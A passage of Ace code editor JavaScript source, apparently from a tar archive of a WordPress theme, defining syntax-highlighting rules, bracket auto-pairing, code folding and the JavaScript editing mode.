// oct "[4-7][0-7]?|" + //oct ".)"; this.$rules = { "no_regex" : [ DocCommentHighlightRules.getStartRule("doc-start"), comments("no_regex"), { token : "string", regex : "'(?=.)", next : "qstring" }, { token : "string", regex : '"(?=.)', next : "qqstring" }, { token : "constant.numeric", // hex regex : /0(?:[xX][0-9a-fA-F]+|[bB][01]+)\b/ }, { token : "constant.numeric", // float regex : /[+-]?\d[\d_]*(?:(?:\.\d*)?(?:[eE][+-]?\d+)?)?\b/ }, { token : [ "storage.type", "punctuation.operator", "support.function", "punctuation.operator", "entity.name.function", "text","keyword.operator" ], regex : "(" + identifierRe + ")(\\.)(prototype)(\\.)(" + identifierRe +")(\\s*)(=)", next: "function_arguments" }, { token : [ "storage.type", "punctuation.operator", "entity.name.function", "text", "keyword.operator", "text", "storage.type", "text", "paren.lparen" ], regex : "(" + identifierRe + ")(\\.)(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s*)(\\()", next: "function_arguments" }, { token : [ "entity.name.function", "text", "keyword.operator", "text", "storage.type", "text", "paren.lparen" ], regex : "(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s*)(\\()", next: "function_arguments" }, { token : [ "storage.type", "punctuation.operator", "entity.name.function", "text", "keyword.operator", "text", "storage.type", "text", "entity.name.function", "text", "paren.lparen" ], regex : "(" + identifierRe + ")(\\.)(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s+)(\\w+)(\\s*)(\\()", next: "function_arguments" }, { token : [ "storage.type", "text", "entity.name.function", "text", "paren.lparen" ], regex : "(function)(\\s+)(" + identifierRe + ")(\\s*)(\\()", next: "function_arguments" }, { token : [ "entity.name.function", "text", "punctuation.operator", "text", "storage.type", "text", "paren.lparen" ], regex : "(" + identifierRe + ")(\\s*)(:)(\\s*)(function)(\\s*)(\\()", next: "function_arguments" }, { token : [ "text", "text", "storage.type", "text", "paren.lparen" ], regex : "(:)(\\s*)(function)(\\s*)(\\()", next: "function_arguments" }, { token : "keyword", regex : "(?:" + kwBeforeRe + ")\\b", next : "start" }, { token : ["support.constant"], regex : /that\b/ }, { token : ["storage.type", "punctuation.operator", "support.function.firebug"], regex : /(console)(\.)(warn|info|log|error|time|trace|timeEnd|assert)\b/ }, { token : keywordMapper, regex : identifierRe }, { token : "punctuation.operator", regex : /[.](?![.])/, next : "property" }, { token : "keyword.operator", regex : /--|\+\+|\.{3}|===|==|=|!=|!==|<+=?|>+=?|!|&&|\|\||\?\:|[!$%&*+\-~\/^]=?/, next : "start" }, { token : "punctuation.operator", regex : /[?:,;.]/, next : "start" }, { token : "paren.lparen", regex : /[\[({]/, next : "start" }, { token : "paren.rparen", regex : /[\])}]/ }, { token: "comment", regex: /^#!.*$/ } ], property: [{ token : "text", regex : "\\s+" }, { token : [ "storage.type", "punctuation.operator", "entity.name.function", "text", "keyword.operator", "text", "storage.type", "text", "entity.name.function", "text", "paren.lparen" ], regex : "(" + identifierRe + ")(\\.)(" + identifierRe +")(\\s*)(=)(\\s*)(function)(?:(\\s+)(\\w+))?(\\s*)(\\()", next: "function_arguments" }, { token : "punctuation.operator", regex : /[.](?![.])/ }, { token : "support.function", regex : /(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\b(?=\()/ }, { token : "support.function.dom", regex : /(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\b(?=\()/ }, { token : "support.constant", regex : /(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\b/ }, { token : "identifier", regex : identifierRe }, { regex: "", token: "empty", next: "no_regex" } ], "start": [ DocCommentHighlightRules.getStartRule("doc-start"), comments("start"), { token: "string.regexp", regex: "\\/", next: "regex" }, { token : "text", regex : "\\s+|^$", next : "start" }, { token: "empty", regex: "", next: "no_regex" } ], "regex": [ { token: "regexp.keyword.operator", regex: "\\\\(?:u[\\da-fA-F]{4}|x[\\da-fA-F]{2}|.)" }, { token: "string.regexp", regex: "/[sxngimy]*", next: "no_regex" }, { token : "invalid", regex: /\{\d+\b,?\d*\}[+*]|[+*$^?][+*]|[$^][?]|\?{3,}/ }, { token : "constant.language.escape", regex: /\(\?[:=!]|\)|\{\d+\b,?\d*\}|[+*]\?|[()$^+*?.]/ }, { token : "constant.language.delimiter", regex: /\|/ }, { token: "constant.language.escape", regex: /\[\^?/, next: "regex_character_class" }, { token: "empty", regex: "$", next: "no_regex" }, { defaultToken: "string.regexp" } ], "regex_character_class": [ { token: "regexp.charclass.keyword.operator", regex: "\\\\(?:u[\\da-fA-F]{4}|x[\\da-fA-F]{2}|.)" }, { token: "constant.language.escape", regex: "]", next: "regex" }, { token: "constant.language.escape", regex: "-" }, { token: "empty", regex: "$", next: "no_regex" }, { defaultToken: "string.regexp.charachterclass" } ], "function_arguments": [ { token: "variable.parameter", regex: identifierRe }, { token: "punctuation.operator", regex: "[, ]+" }, { token: "punctuation.operator", regex: "$" }, { token: "empty", regex: "", next: "no_regex" } ], "qqstring" : [ { token : "constant.language.escape", regex : escapedRe }, { token : "string", regex : "\\\\$", next : "qqstring" }, { token : "string", regex : '"|$', next : "no_regex" }, { defaultToken: "string" } ], "qstring" : [ { token : "constant.language.escape", regex : escapedRe }, { token : "string", regex : "\\\\$", next : "qstring" }, { token : "string", regex : "'|$", next : "no_regex" }, { defaultToken: "string" } ] }; if (!options || !options.noES6) { this.$rules.no_regex.unshift({ regex: "[{}]", onMatch: function(val, state, stack) { this.next = val == "{" ? this.nextState : ""; if (val == "{" && stack.length) { stack.unshift("start", state); } else if (val == "}" && stack.length) { stack.shift(); this.next = stack.shift(); if (this.next.indexOf("string") != -1 || this.next.indexOf("jsx") != -1) return "paren.quasi.end"; } return val == "{" ? "paren.lparen" : "paren.rparen"; }, nextState: "start" }, { token : "string.quasi.start", regex : /`/, push : [{ token : "constant.language.escape", regex : escapedRe }, { token : "paren.quasi.start", regex : /\${/, push : "start" }, { token : "string.quasi.end", regex : /`/, next : "pop" }, { defaultToken: "string.quasi" }] }); if (!options || !options.noJSX) JSX.call(this); } this.embedRules(DocCommentHighlightRules, "doc-", [ DocCommentHighlightRules.getEndRule("no_regex") ]); this.normalizeRules(); }; oop.inherits(JavaScriptHighlightRules, TextHighlightRules); function JSX() { var tagRegex = identifierRe.replace("\\d", "\\d\\-"); var jsxTag = { onMatch : function(val, state, stack) { var offset = val.charAt(1) == "/" ? 2 : 1; if (offset == 1) { if (state != this.nextState) stack.unshift(this.next, this.nextState, 0); else stack.unshift(this.next); stack[2]++; } else if (offset == 2) { if (state == this.nextState) { stack[1]--; if (!stack[1] || stack[1] < 0) { stack.shift(); stack.shift(); } } } return [{ type: "meta.tag.punctuation." + (offset == 1 ? "" : "end-") + "tag-open.xml", value: val.slice(0, offset) }, { type: "meta.tag.tag-name.xml", value: val.substr(offset) }]; }, regex : "", onMatch : function(value, currentState, stack) { if (currentState == stack[0]) stack.shift(); if (value.length == 2) { if (stack[0] == this.nextState) stack[1]--; if (!stack[1] || stack[1] < 0) { stack.splice(0, 2); } } this.next = stack[0] || "start"; return [{type: this.token, value: value}]; }, nextState: "jsx" }, jsxJsRule, comments("jsxAttributes"), { token : "entity.other.attribute-name.xml", regex : tagRegex }, { token : "keyword.operator.attribute-equals.xml", regex : "=" }, { token : "text.tag-whitespace.xml", regex : "\\s+" }, { token : "string.attribute-value.xml", regex : "'", stateName : "jsx_attr_q", push : [ {token : "string.attribute-value.xml", regex: "'", next: "pop"}, {include : "reference"}, {defaultToken : "string.attribute-value.xml"} ] }, { token : "string.attribute-value.xml", regex : '"', stateName : "jsx_attr_qq", push : [ {token : "string.attribute-value.xml", regex: '"', next: "pop"}, {include : "reference"}, {defaultToken : "string.attribute-value.xml"} ] }, jsxTag ]; this.$rules.reference = [{ token : "constant.language.escape.reference.xml", regex : "(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\.-]+;)" }]; } function comments(next) { return [ { token : "comment", // multi line comment regex : /\/\*/, next: [ DocCommentHighlightRules.getTagRule(), {token : "comment", regex : "\\*\\/", next : next || "pop"}, {defaultToken : "comment", caseInsensitive: true} ] }, { token : "comment", regex : "\\/\\/", next: [ DocCommentHighlightRules.getTagRule(), {token : "comment", regex : "$|^", next : next || "pop"}, {defaultToken : "comment", caseInsensitive: true} ] } ]; } exports.JavaScriptHighlightRules = JavaScriptHighlightRules; }); ace.define("ace/mode/matching_brace_outdent",["require","exports","module","ace/range"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; var MatchingBraceOutdent = function() {}; (function() { this.checkOutdent = function(line, input) { if (! /^\s+$/.test(line)) return false; return /^\s*\}/.test(input); }; this.autoOutdent = function(doc, row) { var line = doc.getLine(row); var match = line.match(/^(\s*\})/); if (!match) return 0; var column = match[1].length; var openBracePos = doc.findMatchingBracket({row: row, column: column}); if (!openBracePos || openBracePos.row == row) return 0; var indent = this.$getIndent(doc.getLine(openBracePos.row)); doc.replace(new Range(row, 0, row, column-1), indent); }; this.$getIndent = function(line) { return line.match(/^\s*/)[0]; }; }).call(MatchingBraceOutdent.prototype); exports.MatchingBraceOutdent = MatchingBraceOutdent; }); ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Behaviour = require("../behaviour").Behaviour; var TokenIterator = require("../../token_iterator").TokenIterator; var lang = require("../../lib/lang"); var SAFE_INSERT_IN_TOKENS = ["text", "paren.rparen", "punctuation.operator"]; var SAFE_INSERT_BEFORE_TOKENS = ["text", "paren.rparen", "punctuation.operator", "comment"]; var context; var contextCache = {}; var initContext = function(editor) { var id = -1; if (editor.multiSelect) { id = editor.selection.index; if (contextCache.rangeCount != editor.multiSelect.rangeCount) contextCache = {rangeCount: editor.multiSelect.rangeCount}; } if (contextCache[id]) return context = contextCache[id]; context = contextCache[id] = { autoInsertedBrackets: 0, autoInsertedRow: -1, autoInsertedLineEnd: "", maybeInsertedBrackets: 0, maybeInsertedRow: -1, maybeInsertedLineStart: "", maybeInsertedLineEnd: "" }; }; var getWrapped = function(selection, selected, opening, closing) { var rowDiff = selection.end.row - selection.start.row; return { text: opening + selected + closing, selection: [ 0, selection.start.column + 1, rowDiff, selection.end.column + (rowDiff ? 0 : 1) ] }; }; var CstyleBehaviour = function() { this.add("braces", "insertion", function(state, action, editor, session, text) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (text == '{') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && selected !== "{" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '{', '}'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { if (/[\]\}\)]/.test(line[cursor.column]) || editor.inMultiSelectMode) { CstyleBehaviour.recordAutoInsert(editor, session, "}"); return { text: '{}', selection: [1, 1] }; } else { CstyleBehaviour.recordMaybeInsert(editor, session, "{"); return { text: '{', selection: [1, 1] }; } } } else if (text == '}') { initContext(editor); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == '}') { var matching = session.$findOpeningBracket('}', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } else if (text == "\n" || text == "\r\n") { initContext(editor); var closing = ""; if (CstyleBehaviour.isMaybeInsertedClosing(cursor, line)) { closing = lang.stringRepeat("}", context.maybeInsertedBrackets); CstyleBehaviour.clearMaybeInsertedClosing(); } var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar === '}') { var openBracePos = session.findMatchingBracket({row: cursor.row, column: cursor.column+1}, '}'); if (!openBracePos) return null; var next_indent = this.$getIndent(session.getLine(openBracePos.row)); } else if (closing) { var next_indent = this.$getIndent(line); } else { CstyleBehaviour.clearMaybeInsertedClosing(); return; } var indent = next_indent + session.getTabString(); return { text: '\n' + indent + '\n' + next_indent + closing, selection: [1, indent.length, 1, indent.length] }; } else { CstyleBehaviour.clearMaybeInsertedClosing(); } }); this.add("braces", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '{') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.end.column, range.end.column + 1); if (rightChar == '}') { range.end.column++; return range; } else { context.maybeInsertedBrackets--; } } }); this.add("parens", "insertion", function(state, action, editor, session, text) { if (text == '(') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '(', ')'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { CstyleBehaviour.recordAutoInsert(editor, session, ")"); return { text: '()', selection: [1, 1] }; } } else if (text == ')') { initContext(editor); var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == ')') { var matching = session.$findOpeningBracket(')', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } }); this.add("parens", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '(') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == ')') { range.end.column++; return range; } } }); this.add("brackets", "insertion", function(state, action, editor, session, text) { if (text == '[') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '[', ']'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { CstyleBehaviour.recordAutoInsert(editor, session, "]"); return { text: '[]', selection: [1, 1] }; } } else if (text == ']') { initContext(editor); var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == ']') { var matching = session.$findOpeningBracket(']', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } }); this.add("brackets", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '[') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == ']') { range.end.column++; return range; } } }); this.add("string_dquotes", "insertion", function(state, action, editor, session, text) { if (text == '"' || text == "'") { initContext(editor); var quote = text; var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && selected !== "'" && selected != '"' && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, quote, quote); } else if (!selected) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var leftChar = line.substring(cursor.column-1, cursor.column); var rightChar = line.substring(cursor.column, cursor.column + 1); var token = session.getTokenAt(cursor.row, cursor.column); var rightToken = session.getTokenAt(cursor.row, cursor.column + 1); if (leftChar == "\\" && token && /escape/.test(token.type)) return null; var stringBefore = token && /string|escape/.test(token.type); var stringAfter = !rightToken || /string|escape/.test(rightToken.type); var pair; if (rightChar == quote) { pair = stringBefore !== stringAfter; } else { if (stringBefore && !stringAfter) return null; // wrap string with different quote if (stringBefore && stringAfter) return null; // do not pair quotes inside strings var wordRe = session.$mode.tokenRe; wordRe.lastIndex = 0; var isWordBefore = wordRe.test(leftChar); wordRe.lastIndex = 0; var isWordAfter = wordRe.test(leftChar); if (isWordBefore || isWordAfter) return null; // before or after alphanumeric if (rightChar && !/[\s;,.})\]\\]/.test(rightChar)) return null; // there is rightChar and it isn't closing pair = true; } return { text: pair ? quote + quote : "", selection: [1,1] }; } } }); this.add("string_dquotes", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && (selected == '"' || selected == "'")) { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == selected) { range.end.column++; return range; } } }); }; CstyleBehaviour.isSaneInsertion = function(editor, session) { var cursor = editor.getCursorPosition(); var iterator = new TokenIterator(session, cursor.row, cursor.column); if (!this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS)) { var iterator2 = new TokenIterator(session, cursor.row, cursor.column + 1); if (!this.$matchTokenType(iterator2.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS)) return false; } iterator.stepForward(); return iterator.getCurrentTokenRow() !== cursor.row || this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_BEFORE_TOKENS); }; CstyleBehaviour.$matchTokenType = function(token, types) { return types.indexOf(token.type || token) > -1; }; CstyleBehaviour.recordAutoInsert = function(editor, session, bracket) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (!this.isAutoInsertedClosing(cursor, line, context.autoInsertedLineEnd[0])) context.autoInsertedBrackets = 0; context.autoInsertedRow = cursor.row; context.autoInsertedLineEnd = bracket + line.substr(cursor.column); context.autoInsertedBrackets++; }; CstyleBehaviour.recordMaybeInsert = function(editor, session, bracket) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (!this.isMaybeInsertedClosing(cursor, line)) context.maybeInsertedBrackets = 0; context.maybeInsertedRow = cursor.row; context.maybeInsertedLineStart = line.substr(0, cursor.column) + bracket; context.maybeInsertedLineEnd = line.substr(cursor.column); context.maybeInsertedBrackets++; }; CstyleBehaviour.isAutoInsertedClosing = function(cursor, line, bracket) { return context.autoInsertedBrackets > 0 && cursor.row === context.autoInsertedRow && bracket === context.autoInsertedLineEnd[0] && line.substr(cursor.column) === context.autoInsertedLineEnd; }; CstyleBehaviour.isMaybeInsertedClosing = function(cursor, line) { return context.maybeInsertedBrackets > 0 && cursor.row === context.maybeInsertedRow && line.substr(cursor.column) === context.maybeInsertedLineEnd && line.substr(0, cursor.column) == context.maybeInsertedLineStart; }; CstyleBehaviour.popAutoInsertedClosing = function() { context.autoInsertedLineEnd = context.autoInsertedLineEnd.substr(1); context.autoInsertedBrackets--; }; CstyleBehaviour.clearMaybeInsertedClosing = function() { if (context) { context.maybeInsertedBrackets = 0; context.maybeInsertedRow = -1; } }; oop.inherits(CstyleBehaviour, Behaviour); exports.CstyleBehaviour = CstyleBehaviour; }); ace.define("ace/mode/folding/cstyle",["require","exports","module","ace/lib/oop","ace/range","ace/mode/folding/fold_mode"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Range = require("../../range").Range; var BaseFoldMode = require("./fold_mode").FoldMode; var FoldMode = exports.FoldMode = function(commentRegex) { if (commentRegex) { this.foldingStartMarker = new RegExp( this.foldingStartMarker.source.replace(/\|[^|]*?$/, "|" + commentRegex.start) ); this.foldingStopMarker = new RegExp( this.foldingStopMarker.source.replace(/\|[^|]*?$/, "|" + commentRegex.end) ); } }; oop.inherits(FoldMode, BaseFoldMode); (function() { this.foldingStartMarker = /(\{|\[)[^\}\]]*$|^\s*(\/\*)/; this.foldingStopMarker = /^[^\[\{]*(\}|\])|^[\s\*]*(\*\/)/; this.singleLineBlockCommentRe= /^\s*(\/\*).*\*\/\s*$/; this.tripleStarBlockCommentRe = /^\s*(\/\*\*\*).*\*\/\s*$/; this.startRegionRe = /^\s*(\/\*|\/\/)#?region\b/; this._getFoldWidgetBase = this.getFoldWidget; this.getFoldWidget = function(session, foldStyle, row) { var line = session.getLine(row); if (this.singleLineBlockCommentRe.test(line)) { if (!this.startRegionRe.test(line) && !this.tripleStarBlockCommentRe.test(line)) return ""; } var fw = this._getFoldWidgetBase(session, foldStyle, row); if (!fw && this.startRegionRe.test(line)) return "start"; // lineCommentRegionStart return fw; }; this.getFoldWidgetRange = function(session, foldStyle, row, forceMultiline) { var line = session.getLine(row); if (this.startRegionRe.test(line)) return this.getCommentRegionBlock(session, line, row); var match = line.match(this.foldingStartMarker); if (match) { var i = match.index; if (match[1]) return this.openingBracketBlock(session, match[1], row, i); var range = session.getCommentFoldRange(row, i + match[0].length, 1); if (range && !range.isMultiLine()) { if (forceMultiline) { range = this.getSectionRange(session, row); } else if (foldStyle != "all") range = null; } return range; } if (foldStyle === "markbegin") return; var match = line.match(this.foldingStopMarker); if (match) { var i = match.index + match[0].length; if (match[1]) return this.closingBracketBlock(session, match[1], row, i); return session.getCommentFoldRange(row, i, -1); } }; this.getSectionRange = function(session, row) { var line = session.getLine(row); var startIndent = line.search(/\S/); var startRow = row; var startColumn = line.length; row = row + 1; var endRow = row; var maxRow = session.getLength(); while (++row < maxRow) { line = session.getLine(row); var indent = line.search(/\S/); if (indent === -1) continue; if (startIndent > indent) break; var subRange = this.getFoldWidgetRange(session, "all", row); if (subRange) { if (subRange.start.row <= startRow) { break; } else if (subRange.isMultiLine()) { row = subRange.end.row; } else if (startIndent == indent) { break; } } endRow = row; } return new Range(startRow, startColumn, endRow, session.getLine(endRow).length); }; this.getCommentRegionBlock = function(session, line, row) { var startColumn = line.search(/\s*$/); var maxRow = session.getLength(); var startRow = row; var re = /^\s*(?:\/\*|\/\/|--)#?(end)?region\b/; var depth = 1; while (++row < maxRow) { line = session.getLine(row); var m = re.exec(line); if (!m) continue; if (m[1]) depth--; else depth++; if (!depth) break; } var endRow = row; if (endRow > startRow) { return new Range(startRow, startColumn, endRow, line.length); } }; }).call(FoldMode.prototype); }); ace.define("ace/mode/javascript",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/javascript_highlight_rules","ace/mode/matching_brace_outdent","ace/range","ace/worker/worker_client","ace/mode/behaviour/cstyle","ace/mode/folding/cstyle"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextMode = require("./text").Mode; var JavaScriptHighlightRules = require("./javascript_highlight_rules").JavaScriptHighlightRules; var MatchingBraceOutdent = require("./matching_brace_outdent").MatchingBraceOutdent; var Range = require("../range").Range; var WorkerClient = require("../worker/worker_client").WorkerClient; var CstyleBehaviour = require("./behaviour/cstyle").CstyleBehaviour; var CStyleFoldMode = require("./folding/cstyle").FoldMode; var Mode = function() { this.HighlightRules = JavaScriptHighlightRules; this.$outdent = new MatchingBraceOutdent(); this.$behaviour = new CstyleBehaviour(); this.foldingRules = new CStyleFoldMode(); }; oop.inherits(Mode, TextMode); (function() { this.lineCommentStart = "//"; this.blockComment = {start: "/*", end: "*/"}; this.getNextLineIndent = function(state, line, tab) { var indent = this.$getIndent(line); var tokenizedLine = this.getTokenizer().getLineTokens(line, state); var tokens = tokenizedLine.tokens; var endState = tokenizedLine.state; if (tokens.length && tokens[tokens.length-1].type == "comment") { return indent; } if (state == "start" || state == "no_regex") { var match = line.match(/^.*(?:\bcase\b.*\:|[\{\(\[])\s*$/); if (match) { indent += tab; } } else if (state == "doc-start") { if (endState == "start" || endState == "no_regex") { return ""; } var match = line.match(/^\s*(\/?)\*/); if (match) { if (match[1]) { indent += " "; } indent += "* "; } } return indent; }; this.checkOutdent = function(state, line, input) { return this.$outdent.checkOutdent(line, input); }; this.autoOutdent = function(state, doc, row) { this.$outdent.autoOutdent(doc, row); }; this.createWorker = function(session) { var worker = new WorkerClient(["ace"], "ace/mode/javascript_worker", "JavaScriptWorker"); worker.attachToDocument(session.getDocument()); worker.on("annotate", function(results) { session.setAnnotations(results.data); }); worker.on("terminate", function() { session.clearAnnotations(); }); return worker; }; this.$id = "ace/mode/javascript"; }).call(Mode.prototype); exports.Mode = Mode; }); Avada/includes/lib/inc/redux/custom-fields/ace_editor/mode-html.js000064400000333423152342437700021153 0ustar00ace.define("ace/mode/doc_comment_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var DocCommentHighlightRules = function() { this.$rules = { "start" : [ { token : "comment.doc.tag", regex : "@[\\w\\d_]+" // TODO: fix email addresses }, DocCommentHighlightRules.getTagRule(), { defaultToken : "comment.doc", caseInsensitive: true }] }; }; oop.inherits(DocCommentHighlightRules, 